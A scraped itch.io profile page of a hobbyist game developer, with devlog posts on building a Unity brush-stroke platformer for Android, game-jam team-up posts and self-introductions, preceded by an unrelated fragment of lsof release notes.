operation address for OpenAFS 1.4.1. The fix was supplied by Robert Jelinek <Robert.Jelinek@MorganStanley.com>. Enabled support for Solaris 10 ZFS. If the necessary ZFS header files aren't found, lsof offers the option to drop ZFS support, to use internal, possibly inaccurate structure definitions, or to supply a path to the missing header files. Horst Scheuermann <Horst.Scheuermann@uni-trier.de> provided a development system and helped test the support. Corrected a typo in the man page, reported by Eric S. Raymond <esr@thyrsus.com>. Changed the spelling of macroes to macros in lsof source and documentations files, based on a suggestion from Josh Soref <timeless@gmail.com> and verification with the OED. The following dialects are no longer supported: 32 bit AIX 5.2, HP-UX 11, OpenStep 4.2, Solaris 2.6, Solaris 8, True Unix 64 and UnixWare 7.1.4. Lsof may work on them, but I no longer have test systems for them. Support for OpenBSD ends at its version 3.9 for lack of interest in the port.>. Gregory tested the fix. Moved an #include <string.h> later in FreeBSD dlsof.h to enable compilation on recent FreeBSD releases. The change was supplied by Roy Marples <uberlord@gentoo.org>. Improved Linux /proc file stream reading speed by applying an expanded version of a patch from Eric Dumazet <dada1@cosmosbay.com>>. Fixed a Linux maps file processing bug that prevented path names from having an embedded colon. James Lingard <jchl@arastra.com> reported the bug and helped with its fix. Based on reports from Eric Dumazet and Samuel Thibault <samuel.thibault@ens-lyon.org>>. Pekka tested the fix. Based on a report and using suggested fixes from Karel Zak <kzak@redhat.com>, made these changes to Linux lsof: corrected a getpidcon() error message; insured that inode numbers are handled correctly for their unsigned long long type; and improved SELinux handling. At the request of Alon Bar-Lev <alonbl@gentoo.org>>, Erwin Lansing <erwin@FreeBSD.org>, Wesley Shields <wxs@atarininja.org> and Dmitry Morozovsky <marck@rinet.ru> provided test systems. Fixed a socket file identification problem reported by Pavol Rusnak <stick@gk2.sk>.> and Pav Lucistnik <pav@FreeBSD.org> updated the FreeBSD 7.0 and above file lock handling to use new locking structures. The update requires a terrible hack to get a definition for the lock owner structure from a kernel source module into a local lsof header file. 4.80 May 12, 2008. 4.81 October 21, 2008. 4.82 ??? ??? 2008 Corrected an over-zealous exclusion test that caused lsof to report nothing when it was given no arguments and built with HASSECURITY and HASNOSOCKSECURITY enabled. Joshua Kinard <kumba@gentoo.org> reported the bug and supplied information for reproducing it. Based on a report from Dan Trinkle <trinkle@cs.purdue.edu>>. Updated the Darwin libproc sources with changes from Allan Nathanson <ajn@apple.com>. Tested them on a iMac mini, provided by Apple Inc. Allan also provided man page corrections. Vic Abell <abe@purdue.edu> ??? ??? 2008 | http://opensource.apple.com/source/lsof/lsof-42/lsof/00DIST | CC-MAIN-2016-22 | refinedweb | 25,230 | 61.93 |
Hey! I'm kinda swamped atm but might be able to help out a little bit.
my discord is @SuperSpasm#8098 (I'd pm you my email but apparently itch has no messaging system)
hit me up, maybe we can work something out
Hey! I'm kinda swamped atm but might be able to help out a little bit.
my discord is @SuperSpasm#8098 (I'd pm you my email but apparently itch has no messaging system)
hit me up, maybe we can work something out
By a trail for melee weapon, you mean a trail a melee weapon leaves behind that blocks/ harms enemies?
The shodos can get messed up when they're too small, so this might not work.
I might be able to modify the script for it to work but not in the near future.
You should try the asset store, I remember seeing a solution for line collisions there.
If that doesn't work remind me in a few weeks, I might be able to help out :)
Loving the environment. the woods give off an RTS fog-of-war vibe, where you never know how close the enemy may be
So I've gotten a bunch done since I last posted here, so far the systems are working surprisingly good, though the Shodos still look a little off and the monk can get stuck in them.
I figure I'll chronicle some of the technical stuff I did and put with progress gifs at the bottom for a TL;DR version.
So since my original implementation idea I came across a bunch of problems. most of them were small bugs in my code, but the biggest issue I had was the PolygonCollider2D.
at first I just set a bunch of points into it (my Slice.edges) as vertices (that were supposed to match the bounds of the LineRenderer that you see, so what you see is what you collide with.
However, since I'm an idiot and can't read documentation properly, I assumed the order of points passed to collider didnt matter, and it just created a convex shape from whatever you plug in.
Not so. each path is cyclic, so you should end up where you started. this created intresting collisions, as seen in (A).
So I figured I'd try making lots of paths, each one a little BoxCollider2D-like rectange that was self contained. what could go wrong, right?
wrong. apparently having hundreds of paths being set every Update() is not the best thing for your game. I was getting crashes and hangs like crazy.
it took me the better part of a day to figure out it wasn't a bug in my code,but rather a constraint of the engine that was causing the hangs.
After that I had to refactor, which ended up being a good thing because I cleaned up the hell out of my code.
after going back to using a single Path for the polygon, and setting the logic up so it goes around the line (and not just iterating over Slices), it just worked. (B)
So now that the actual Shodo object was working, I started working on implementing multiple Shodos at once.
I wanted to pool my shodos to avoid memory issues from instantiating new Shodos constantly.
my implementation for that was a class that is structured as so:
public class ShodoPool{ private Queue<Shodo> availableShodos; private Queue<Shodo> detachedShodos; private GameObject shodoPrefab; private Camera mainCam; public ShodoPool(GameObject shodoPrefab, Camera mainCam, Transform shodoParent) public void StartDrawing(ref Shodo currShodo) public void StopDrawing(ref Shodo currShodo) private GameObject CreatenewShodoObject() public void UpdateShodoQueues() public void AddToPool(int amount) private bool NotOnScreen(Shodo shod) }
So this is my first time making an object pool. I have no idea how they aare usually made, but I'm happy with how this turned out.
it basically recycles Shodos into the detached/availableShodos Queue.
The detachedShodos Queue for shodos that are not currently in use by the player, but may still be rendered.
when a Shodo has either erased itself completely, or is off camera, it will move that shodo from the detached queue to the available queue.
I start off filling the pool with 3 Shodos, and more are created if they run out when
The pool is used by ShodoManager to abstract the recycling of Shodos,
and ShodoManager handles adding points to the currently used Shodo by grabbing mouse position.
This is done either every set time, or in Update as soon as the mouse has traveled a minimum distance. (to avoid stacking points close together at odd angles, which looks and acts terrible)
Today I worked a bit on the monk's AI (very simple, I want him to stop when close to an obstacle, and to jump when theres a gap with no platform underneath.
I thought of doing an arc-raycast type thing for him to check if he can jump before he tries, but after some consulting on Discord, decided it's simpler to just jump whenever theres a gap. The monk is basically a Lemming anyway, he's not supposed to have particularly intelligent AI.
(A) first attempt at collisions, didn't go to well
(B) refactored collisions, Much better!
(C), (D) Multiple Shodos Recycled via Shodo Pool
(E) Monk jumping when reach gap(E) Monk jumping when reach gap
(F) Stopping when path blocked(F) Stopping when path blocked
(G) Using Shodo to block falling objects(G) Using Shodo to block falling objects
The biggest thing that bothers me with the system right now is that sometimes a Shodo is drawn that is lumpy or has some edges, and the monk will get stuck on it. I'm thinking of doing a pass on the polygons vertices once per frame to smooth them out. we'll see how it ends up.
Also- we need to start thinking level designs and systems to support them! maybe an "ink level" to limit how much you can draw
Sounds great! also, "Cute-em-Up"sounds like an awesome fallback title if you don't think of a better one
So my basic implementation for the Shodos (brush strokes on screen) is to use a LineRenderer and a PolygonCollider2D that are continuously updated by pointer position (either mouse or touch).
I'm basically mimicking a TrailRenderer (+Collisions) with my LineRenderer. I don't use a TrailRenderer though because then I would have less control over the vertices of the trail (which I have to keep in sync with the collider), and also because TrailRenderer "remembers" the time it took you to draw each segment, and I want it to "erase" and resize at a steady pace, regaurdless of how long it took to draw the line.
Before this jam I tried to make my own LineRenderer from scratch for this purpose (using a Mesh and setting my own vertices, uvs and triangles). but that lead me down a rabbit-hole of Vector math and unforseen situations. I ended up with something that mostly works (minus texture mapping, didn't want to waste more time fixing uvs), and I abandoned it because it was getting way out of scope.
anyway how I'm doing it now looks like this- I break down each bush stroke to "Slices":
with each slice having a Vector3 Center (that goes to the LineRenderer), two edges in a Vector2[] Array (For the PolygonCollider), and a width (that defines the edges).
(Slices are perpendicular to the direction that the line is going at the particular moment they're calculated)
I also made a Slicelist class that holds a list of slices as well as lists for line vertices, polygon vertices, and widths, and it synchronises between them (the idea is that besides the creation of Slices, all vertex-level stuff (adding slices, resizing, deleting) is done using SliceList methods, so that the Shodo class can be much more readable and editable)
Anyway, I'ts not really functional yet, but it's getting there. I just hope it's not going to be too unoptimised since I have to use List.ToArray() 3 times per frame for each of the Shodos I have on screen (to set them in the actual LineRenderer/PolygonCollider2D)
So yeah, sorry for the technical rant, but this feels like a good outlet to not let this stuff just sit in my head, so it's probably not gonna be the last haha
Also if anyone has any comments or suggestions I would love to hear them
Hey, I'm Jonathan.
I started working on an android project a a few weeks back (really rough prototyping, code was completely unmaintainable)
but I wanted to join the jam, so someone on discord gave me the idea to build it again from scratch for this jam.
So I am! never made a Devlog before but I figure this could be a good outlet for successes and failures.
I'm making it with an artist (Lena) that I met irl, it's her first game ever. I'm also fairly new to dev and this is my first time tackling mechanics as complex as this.
some quick info about the game:
-Platform: android
- Engine: Unity
- Genre: 2D platformer (?)
- Theme: Japanese/Chineese caligraphy and art
- Core mechanic: drawing caligraphic brush strokes on screen that act as platforms.
- Basic story: a Monk finds a dying wolf (or some sort of cainine), helps his soul ascend to heaven (?)
and is followed by the ghost/spirit of the wolf. it's your job to keep the monk from falling to his death(lemmings style)
My goal in this jam is to be motivated by the deadline to finish a bare-bones version of the game with a few levels finished!
Edit: added the fact that I'm doing this in Unity. seemed relevant
Hi! I'm Jonathan, I've been learning Game design and Unity development for a little over 6 months.
I've already Made two complete games, the first of which was at the last instance of this jam! (Can be found here)
I've also designed and made a casual android game (which isn't online atm, I can provide an apk upon request)
I'm making another android game for this jam with an artist, but I'd love to get more experience working with other people, in particular other programmers and 3D artists. However, I'm planning on joining the Global Game Jam, and between that and the other game I'm working on I probably won't be too available towards the end of the jam.That being said, I'd love to team up and make a game!
P.S. My timezone is UTC+2
Skills / Programs:
* Unity2D/3D (more experienced in 2D development but I want to try more 3D stuff)
* C# programming (and a wee bit of Python)
* Game Design
* Good farmiliarity with high school level physics and math (Vectors, forces, graphs etc.)
Discord: @SuperSpasm#8098
Thanks for your feedback! glad you didn't get stuck since this version has some bugs.
big update coming soon- lots of bugfixes / features/ improvements!
Edit: Update up now!
okay turns out when it asked me to upload a game for submission- it automatically submitted it, so everythings good '^^
i uploaded a game but its not showing up to submit! i get a "you havent uploadeed a game that can be sumbitted yet" message.
PLEASE HELP, 10 MINUTES LEFT!
1. Hi there! What's your name? Want to introduce yourself?
Hey! I'm Jonathan, 22 years old from Israel. I dropped out of high school when I was about 15, ended up mostly self educating to get through my exams. Since I've played around with the idea of becoming a game developer, but there were no decent degrees / programs in my country yet- I decided to study on my own as soon as I finished my mandatory service!
I've been studying aspects of game development/design for about 3 months online, and I love it!
I'm honestly a bit timid about going in to the jam because I've wanted to work with other people for a while, but I'm not sure how much I'll be able to do.. Also I'm pretty late to the game so I hope I can even find a team to work with.
2. Did you participate in the last jam we held? If so, what do you plan on doing better this time? If not, what's your reason for joining?
Nope, I just found out that online game jams even existed last week! But I've been studying in a vacuum for a good while now without too many people to create / talk with about games that I've got to give it a try!
3. What games are your favorites? Did any of them inspire you, or made you want to make your own?
Growing up my childhood favorites were Crash Bandicoot, Spyro the Dragon, Ratchet & Clank, Jak & Megaman Legends 2.
My favorites now are probably (in no particular order): Portal, Bioshock, Mass Effect, The Stanley Parable and Ori & The Blind Forest.
4. Do you have experience with game development? What did you do/with what engine?
I've been studying Unity and C# and messing around in them for about 3 months. So I know my way around the basics. But I've never worked in a team before and don't have much experience with a real structured workflow. But I learn fast! :)
I also have a little experience coding in python (basic stuff, made a text adventure in IDLE from scratch once)
5. Tell us about something you're passionate about!
I really want to try and make different things. I love games like Portal and The Stanley Parable that take what you think a game is and go in an entirely new direction, and even games like the Ori Principle that just have a unique and mesmerising feel to them.
I also really love learning new things. I try to take everything I do and see how I can do it better.
1. Introduction:
Hi!
I'm Jonathan, 22 years old from Israel (UTC+3).
I've thought about becoming a Game Developer/Designer for a while, but since there are no decent programs for those in my country yet, I'm self educating! I've taken a couple courses in Game Design and Development over the past couple months, and have messed with Unity quite a bit, but I have no experience working in a team or on an original project.
In terms of my schedule- my available time is about 09:00 - 22:00 [UTC+3]. I have some immutable appointments in my week (mostly I tutor math some days around 16:30 - 19:00 [UTC+3]). And Fridays/Saturdays are the only time I have to see my girlfriend, so I won't be able to work much during them.
But nearly everything else is fine! :)
2. Skills:
- Unity (mostly basic manipulations in space, creating prefabs and integrating with them with scripts.)
- C# (basic OOP programming, messing with vectors, physics in unity etc.)
Things I'm willing to try:
Designing / brainstorming the game and aspects of it - I like the design aspect, but I never worked in a team and didn't make many games so I don't know if I'm any good at it)
Writing - same as above. If it's an idea that gets me excited I can come up with plots/diologue, but I've yet to recieve criticism about them.
Voice acting - As well as not having experience in this, my recording equipment is sub-par. Still willing to give it a shot though.
3. Programs/Languages: Engines/Programs (for any use, be it art, music, game dev, animation, etc) and markup/programming languages you are familiar with.
4. Portfolio:
Besides expanding on a couple projects from a Coursera course, I haven't made anything digital. I made a small paper based-game for a design course, but it doesn't seem very relevant. If anyone wants it I'll send it to them
5. Contact:
[removed to avoid spam]
Looking forward to meeting you! :) | https://itch.io/profile/superspasm | CC-MAIN-2019-18 | refinedweb | 2,722 | 67.18 |
On Mon, 2017-06-19 at 09:24 -0400, Benjamin Coddington wrote:
@@ -2041,16 +2034,46 @@ SYSCALL_DEFINE2(flock, unsigned int, fd, unsigned int, cmd)
*/
int vfs_test_lock(struct file *filp, struct file_lock *fl)
{
- if (filp->f_op->lock && is_remote_lock(filp))
+ if (filp->f_op->lock && is_remote_lock(filp)) {
+ fl->fl_flags |= FL_PID_PRIV;
return filp->f_op->lock(filp, F_GETLK, fl);
+ }
posix_test_lock(filp, fl);
return 0;
}
EXPORT_SYMBOL_GPL(vfs_test_lock);
I think this looks wrong for NFS.
There are really two cases we're concerned with here:
1) the lock is held by a task on the client itself, in which case we
probably want to report the pid as we would on a local fs.
...or...
2) the lock is held by another host entirely in which case the pid
doesn't have any meaning. We probably ought to return something like '-
1' as the pid (like we would for OFD locks).
The problem for NFS is that you're setting the flag unconditionally
there. It may very well be the case that we _want_ to translate the
fl_pid according to the local namespace (i.e. if the lock is held by a
task on the same host).
I think what you want to do here is have the fs ->lock operation set
that flag if the fl_pid should be used "as-is" instead of being
translated.
Most of the current lock operations can just set it early (to preserve
the existing behavior), but NFS could be set up to set that flag if the
lock request goes to the server. | https://lkml.iu.edu/hypermail/linux/kernel/1706.2/03602.html | CC-MAIN-2022-33 | refinedweb | 253 | 71.07 |
Back to: Design Patterns in C# With Real-Time Examples
Proxy Design Pattern in C# with Examples
In this article, I am going to discuss the Proxy Design Pattern in C# with Examples. Please read our previous article where we discussed the Composite Design Pattern in C# with examples. The Proxy Design Pattern falls under the category of Structural Design Pattern. As part of this article, we are going to discuss the following pointers.
- What is Proxy Design Pattern?
- Understanding the different types of Proxies.
- Proxy Design Pattern Real-time Examples.
- Why do we need Proxy Design Pattern in C#
- Implementation of Proxy Design Pattern in C#.
- Understanding the class diagram of the Proxy Design Pattern.
- When to use the Proxy Design Pattern in real-time applications?
What is Proxy Design Pattern?
According to the Gang of four definitions, the Proxy Design Pattern provides a surrogate (act on behalf of other) or placeholder for another object to control the access to it. Proxy means ‘in place of‘ or ‘representing‘ or ‘on behalf of‘.
In the simplest form, we can define a proxy as a class functioning as an interface to something else. The proxy could interface to anything such as a network connection, a large object in memory, a file, or some other resources that are expensive or impossible to duplicate.
We can also say that the Proxy is the object which is being called by the client to access the real object behind the scene. That means, In Proxy Design Pattern, a class represents the functionality of another class.
Understanding Proxy Design Pattern in C# with an Example:
Please have a look at the following diagram for a better understanding of the Proxy Design Pattern in C#. As you can see in the following image, when the client wants to consume some methods of the Real Object, then he/she needs to go via the Proxy object. That means the client will call the method of the Proxy object and the proxy will be responsible to call the method of the Real Object.
Types of Proxies:
There are three types of proxies. They are as follows.
- Virtual Proxy: A virtual proxy is a placeholder for “expensive to create” objects. The real object is only created when a client first requests or accesses the object.
- Remote Proxy: A remote proxy provides local representation for an object that resides in a different address space.
- Protection Proxy: A protection proxy control access to a sensitive master object. The surrogate object checks that the caller has the access permissions required prior to forwarding the request.
Proxy Design Pattern Real-time Example:
Please have a look at the following diagram. On the right side, you can see the State bank of India, and on the left side a person called Anurag. Anurag has an account in the State Bank of India. In earlier days, let say 1960, Anurag wants to withdraw money from his account. Then what he has to do is, he has to carry his passbook and go to the bank. Then he has to fill the form and needs to stand in the queue. Once his turn comes he has to give the form and bank passbook to the bank employee and then the bank employee verify the form and his passbook and if everything fine then the bank employee gives the required money to Anurag.
Let’s assume Anurag wants to withdraw money nowadays. So, instead of going to the bank what he can do nowadays is, just walks to the nearest ATM with his debit card. Then he inserts his debit and enters the pin and the amount to withdraw. The ATM will then communicates with the bank and validate the pin and amount and if everything is fine then the ATM will give the money to Anurag. Instead of going to the bank, Anurag can withdraw Money from the ATM. So, here the bank is the Real Object and ATM is the Proxy. And I think this is the best real-time example of the Proxy Design Pattern.
Why do we need Proxy Design Pattern in C#?
Let us understand the need for the Proxy Design Pattern with the example of a Proxy Server.
A server that sits between a client application such as a web browser and a real server is called a Proxy Server. This Proxy server intercepts all the incoming requests for the real server to see if it can fulfill the requests by itself. If not then it will forward the requests to the real server.
The Proxy server has two main objectives. They are as follows:
Improve Performance:
The Proxy servers can drastically improve the performance of the application. This is because it saves the results of a request for a certain period of time. For example, let say we have two users X and Y and they want to access a particular resource through the proxy server. First, user X request a particular resource (let say a list of employees) and cache that resource for a certain amount of time. Later, user Y also requests the same resource, then the Proxy server instead of forwarding that request to the actual server (which is a time-consuming operation), can simply return the data from the cache. Since the client and the proxy server are in the same network, so it is going to be a much faster operation.
Filter Requests:
The Proxy servers can also be used to filter the incoming requests. For example, a company might use the proxy server to prevent its employees from accessing a specific set of websites such as Facebook, Twitter, etc.
Implementation of Proxy Design Pattern in C# (Protection Proxy):
Business Requirement:
Please have a look at the following diagram. As you can see in the following image, on the right side we have a shared computer that has a shared folder. On the left side, we have employees who are working on a software farm. The shared computer contains a shared folder that contains confidential information and only the employee having role Manager and CEO can access this shared folder and perform the read-write operations. On the other hand, if the employee is a developer, then it should not allow access to the shared folder. That is we need to do some kind of protection. In scenarios like this, the Protection Proxy can be handy.
What we can do here is, in between the employees and the shared computer we need to introduce the Folder Proxy. What this Folder proxy can do is, it will check if the employee’s role is Manager or CEO, then it allows the employee to access the shared folder and perform the read-write operation. On the other hand, if the employee role is Developer then it will say you don’t have permission to access this folder. That kind of protection logic we can write in the folder proxy.
Now, I hope you understood the Proxy Design Pattern. So, let implement the proxy design pattern in C# step by step.
Step1: Creating the Employee class
Create a class file with the name Employee.cs and then copy and paste the following code in it.
namespace ProxyDesignPattern { public class Employee { public string Username { get; set; } public string Password { get; set; } public string Role { get; set; } public Employee(string username, string password, string role) { Username = username; Password = password; Role = role; } } }
Step2: Creating Subject
Create an interface with the name ISharedFolder and then copy and paste the following code in it. This interface defines the common methods which are going to be implemented by the RealSubject and the Proxy class.
using System; namespace ProxyDesignPattern { public interface ISharedFolder { void PerformRWOperations(); } }
Step3: Creating Real Object
Create a class file with the name SharedFolder.cs and then copy and paste the following code in it. This class implements the subject (ISharedFolder) interface.
using System; namespace ProxyDesignPattern { public class SharedFolder : ISharedFolder { public void PerformRWOperations() { Console.WriteLine("Performing Read Write operation on the Shared Folder"); } } }
Step4: Creating the Proxy Object
Create a class file with the name SharedFolderProxy.cs and then copy and paste the following code in it. This class also implemented the Subject (ISharedFolder) interface as well as it also holds a reference to the real object.
using System; namespace ProxyDesignPattern { class SharedFolderProxy : ISharedFolder { private ISharedFolder folder; private Employee employee; public SharedFolderProxy(Employee emp) { employee = emp; } public void PerformRWOperations() { if (employee.Role.ToUpper() == "CEO" || employee.Role.ToUpper() =="MANAGER") { folder = new SharedFolder(); Console.WriteLine("Shared Folder Proxy makes call to the RealFolder 'PerformRWOperations method'"); folder.PerformRWOperations(); } else { Console.WriteLine("Shared Folder proxy says 'You don't have permission to access this folder'"); } } } }
Step5: Client code
Please modify the Main method as shown below.
using System; namespace ProxyDesignPattern { class Program { static void Main(string[] args) { Console.WriteLine("Client passing employee with Role Developer to folderproxy"); Employee emp1 = new Employee("Anurag", "Anurag123", "Developer"); SharedFolderProxy folderProxy1 = new SharedFolderProxy(emp1); folderProxy1.PerformRWOperations(); Console.WriteLine(); Console.WriteLine("Client passing employee with Role Manager to folderproxy"); Employee emp2 = new Employee("Pranaya", "Pranaya123", "Manager"); SharedFolderProxy folderProxy2 = new SharedFolderProxy(emp2); folderProxy2.PerformRWOperations(); Console.Read(); } } }
Output:
Understanding the Class Diagram Proxy Design Pattern:
In order to understand the class diagram of the proxy design pattern in C#, please have a look at the following diagram.
As shown in the above diagram, there are three participants involved in the proxy design pattern. They are as follows:
- Subject (ISharedFolder): This is an interface that defines members that are going to be implemented by the RealSubject and Proxy class so that the Proxy can be used anywhere the RealSubject is expected. In our example, it is the ISharedFolder interface.
- RealSubject (SharedFolder): This is a class that we want to use more efficiently by using the proxy class. In our example, it is the SharedFolder class.
- Proxy (SharedFolderProxy): This is a class that holds a reference to the RealSubject class and can access RealSubjecr class members as required. It must implement the same interface as the RealSubject so that the two can be used interchangeably. In our example, it is the SharedFolderProxy class.
When to use the Proxy Design Pattern in C# Real-Time Applications?
The following are some of the real-time scenarios where you can use the proxy design pattern in C# Real-time Applications.
- Adding security access to an existing object. The proxy will determine if the client can access the object of interest.
- Simplifying the API of a complex object. The proxy can provide a simple API so that the client code does not have to deal with the complexity of the object of interest.
- Providing interfaces for remote resources such as web service or REST resources.
- Coordinating expensive operations on remote resources by asking the remote resources to start the operation as soon as possible before accessing the resources.
- Adding a thread-safe feature to an existing class without changing the existing class code.
In the next article, I am going to discuss the Virtual Proxy Real-Time Example in C# with examples. Here, in this article, I try to explain the Proxy Design Pattern in C# with examples. I hope you enjoy this Proxy Design Pattern in C# with Examples article. | https://dotnettutorials.net/lesson/proxy-design-pattern/ | CC-MAIN-2022-27 | refinedweb | 1,869 | 54.52 |
Neural Nets for JAX
Project description
JAXnet
JAXnet is a deep learning library based on JAX. JAXnet's functional API provides unique benefits over TensorFlow2, Keras and PyTorch, while maintaining user-friendliness, modularity and scalability:
- More robustness through immutable weights, no global compute graph.
- GPU-compiled
numpycode for networks, training loops, pre- and postprocessing.
- Regularization and reparametrization of any module or whole networks in one line.
- No global random state, flexible random key control.
If you already know stax, read this.
Modularity
net = Sequential(Dense(1024), relu, Dense(1024), relu, Dense(4), log_softmax)
creates a neural net model from predefined modules.
Extensibility
Define your own modules using
@parametrized functions. You can reuse other modules:
from jax import numpy as jnp @parametrized def loss(inputs, targets): return -jnp.mean(net(inputs) * targets)
All modules are composed in this way.
jax.numpy is mirroring
numpy,
meaning that if you know how to use
numpy, you know most of JAXnet.
Compare this to TensorFlow2/Keras:
import tensorflow as tf from tensorflow.keras import Sequential from tensorflow.keras.layers import Dense, Lambda net = Sequential([Dense(1024, 'relu'), Dense(1024, 'relu'), Dense(4), Lambda(tf.nn.log_softmax)]) def loss(inputs, targets): return -tf.reduce_mean(net(inputs) * targets)
Notice how
Lambda layers are not needed in JAXnet.
relu and
logsoftmax are plain Python functions.
Immutable weights
Different from TensorFlow2/Keras, JAXnet has no global compute graph.
Modules like
net and
loss do not contain mutable weights.
Instead, weights are contained in separate, immutable objects.
They are initialized with
init_parameters, provided example inputs and a random key:
from jax.random import PRNGKey def next_batch(): return jnp.zeros((3, 784)), jnp.zeros((3, 4)) params = loss.init_parameters(*next_batch(), key=PRNGKey(0)) print(params.sequential.dense2.bias) # [-0.01101029, -0.00749435, -0.00952365, 0.00493979]
Instead of mutating weights inline, optimizers return updated versions of weights.
They are returned as part of a new optimizer state, and can be retrieved via
get_parameters:
opt = optimizers.Adam() state = opt.init(params) for _ in range(10): state = opt.update(loss.apply, state, *next_batch()) # accelerate with jit=True trained_params = opt.get_parameters(state)
apply evaluates a network:
test_loss = loss.apply(trained_params, *test_batch) # accelerate with jit=True
GPU support and compilation
JAX allows functional
numpy/
scipy code to be accelerated.
Make it run on GPU by replacing your
numpy import with
jax.numpy.
Compile a function by decorating it with
jit.
This will free your function from slow Python interpretation, parallelize operations where possible and optimize your compute graph.
It provides speed and scalability at the level of TensorFlow2 or PyTorch.
Due to immutable weights, whole training loops can be compiled / run on GPU (demo).
jit will make your training as fast as mutating weights inline, and weights will not leave the GPU.
You can write functional code without worrying about performance.
You can easily accelerate
numpy/
scipy pre-/postprocessing code in the same way (demo).
Regularization and reparametrization
In JAXnet, regularizing a model can be done in one line (demo):
loss = L2Regularized(loss, scale=.1)
loss is now just another module that can be used as above.
Reparametrized layers are one-liners, too (see API).
JAXnet allows regularizing or reparametrizing any module or subnetwork without changing its code.
This is possible because modules do not instantiate any variables.
Instead each module provides a function (
apply) with parameters as an argument.
This function can be wrapped to build layers like
L2Regularized.
In contrast, TensorFlow2/Keras/PyTorch have mutable variables baked into their model API. They therefore require:
- Regularization arguments on layer level, with separate code necessary for each layer.
- Reparametrization arguments on layer level, and separate implementations for each layer.
Random key control
JAXnet does not have global random state. Random keys are provided explicitly, making code deterministic and independent of previously executed code by default. This can help debugging and is more flexible (demo). Read more on random numbers in JAX here.
Step-by-step debugging
JAXnet allows step-by-step debugging with concrete values like any plain Python function
(when
jit compilation is not used).
API and demos
Find more details on the API here.
See JAXnet in action in your browser: Mnist Classifier, Mnist VAE, OCR with RNNs, ResNet, WaveNet, PixelCNN++ and Policy Gradient RL.
Installation
This is a preview. Expect breaking changes! Python 3.6 or higher is supported. Install with
pip3 install jaxnet
To use GPU, first install the right version of jaxlib.
Questions
Please feel free to create an issue on GitHub.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/jaxnet/ | CC-MAIN-2022-27 | refinedweb | 773 | 51.85 |
This is a continuation from the previous post I did explaining the new memory based batching feature for Database providers in MSF V2. Please refer to that post at MSF V2 CTP2 Deep Dive – Memory Based Batching. This is probably a good time to mention that the final version of MSF V2 has been released to web and can be downloaded from.
Database providers chunks up changes by spooling changes to the file system. These chunks, or batch files, are later transferred to the remote provider which applies them in the correct order. At any given point the runtime will be processing at most one batch file. Notice the emphasis on runtime. Any user specified event operating on the DataSet property would result in more than one batch file live in memory. Batches are spooled to the file system by the enumerating provider and the provider uses the RelationalSyncProvider.BatchingDirectory property on the enumerating provider to detect the base directory to use. For each sync the runtime will create a unique directory inside the base directory. The name of the base directory is of the format Sync_XXXXXXXXXXXX. The directory name is unique for the two providers currently synchronizing and the name does not change for subsequent syncs. This allows the runtime to detect “failed” synchronization attempts so it can resume from the failed point. More on the “Sync Resume” feature later. Inside that directory the runtime will spool one SyncBatchHeaderFile.sync file and one or more .batch files. The .sync file is the metadata file that contains metadata on the current sync session. It holds some key information such as the Version, MadeWithKnowledge and DestinationKnowledge. The .batch files contain the raw change data that needs to be applied on the destination. The .batch file is just a binary serialized version of the DbSyncBatchInfo type. The batch info type contains both the actual data and the metadata corresponding to that data. For faster access to the metadata the runtime serializes the metadata separately from the data. Here is the definition of the DbSyncBatchInfo type.
1: public class DbSyncBatchInfo : IDisposable
2: {
3: public DbSyncBatchInfo();
4: public long DataCacheSize { get; set; }
5: public DataSetSurrogate DataSetSurrogate { get; set; }
6: public string Id { get; set; }
7: public bool IsLastBatch { get; set; }
8: public uint SequenceNumber { get; set; }
9: public Version Version { get; set; }
10: public void Dispose();
11: protected virtual void Dispose(bool cleanup);
12: public byte[] GetLearnedKnowledge();
13: public void SetLearnedKnowledge(byte[] knowledgeBytes);
14: public override string ToString();
15: }
The actual data is contained in the DataSetSurrogate property while the rest of the properties are just the metadata for that data. Some key metadata items are
Version – Batching version of the provider that generated this batch. This enables the destination runtime to apply versioning rules when consuming batches generated from an older version.
Id – Unique id of this batch
SequenceNumber – This is used by the destination to ensure that batches are applied in the same order they were generated in. This will ensure that batch files arriving out of order at the destination are still consumed in the correct sequence.
DataCacheSize – Represents the deserialized size of the data.
With the RTM version we exposed this type out to the user. This change was made to accommodate feedback from users that they wanted to override the default BinarySerializer or in some cases completely move off DataSet as a data transfer medium. With this type public, users can now easily deserialize any .batch file and provider their customizations on top of that. Each batch file contains two binary objects. The first one is the actual DbSyncBatchInfo type sans the actual data followed by the serialized version of DataSertSurrogate. Users customizing this part of the runtime should pay attention to the format. I have attached a simple factory class DbSyncBatchInfoFactory.cs that can serialize and deserialize any batch file.
Resuming Sync Session
I had earlier mentioned that the runtime uses a unique reproducible directory name for storing batch files whenever it enumerates changes for a provider. This is so that the runtime can attempt to restart earlier failed sync session. There are many reasons for sync session abruptions but the most common one users face is transient network disconnections. Flaky network connections is quite a common issue with mobile users. Users would have restart a sync session if their network connectivity gets dropped in between. This meant that they had to download/upload all changes back to the remote server. This also means that the remote Sql Server is wasting precious CPU time enumerating the same changes over and over.
To avoid re-enumerating changes the enumerating provider will check to see if any batch files exist prior to spawning a new “Select” query. If any batch files for the current remote provider exists, the runtime will inspect the files to see if it can reuse those files. Several factors are considered to determine batch reusability such as state of enumeration, destination knowledge etc. The runtime uses the metadata from the SyncBatchHeaderFile.sync to check if existing batch files are relevant for the current state of the destination. If it determines that the files are relevant then it will pick up enumeration from where the older sync left off. This means if a table had changes between the first failed sync session and the restart only those changes would be picked up. If the runtime determines that the existing batch files are not relevant (destination got changes from a different peer or one of the batch files is corrupt of missing or the enumeration was incomplete the first time) all batch files are deleted and a fresh enumeration query is launched.
This batching directory is usually cleaned up by the runtime after it successfully applies all changes. Users can override this behavior by setting RelationalSyncProvider.CleanupBatchingDirectory property to false.
Batch Files Cleanup In Mid Tier
If in case users are using a mid tier to communicate with Sql Server then you would need a background job that constantly monitors the batching folder to delete any files older than a certain time. This is needed because the runtime cleanup of the batch files happens only on the destination provider after a successful application (to enable sync restart feature).
Anti-Virus tools and Batching
One note of caution to users having real time anti-virus scanning tools. Please exclude the batching directory from real time scan so that there is no file contention between the sync runtime and the virus scan runtime.
Maheshwar Jayaraman
DbSyncBatchInfoFactory.cs | https://blogs.msdn.microsoft.com/mahjayar/2009/11/16/msf-v2-deepdive-batching-directory-and-batch-files/ | CC-MAIN-2016-40 | refinedweb | 1,087 | 53.92 |
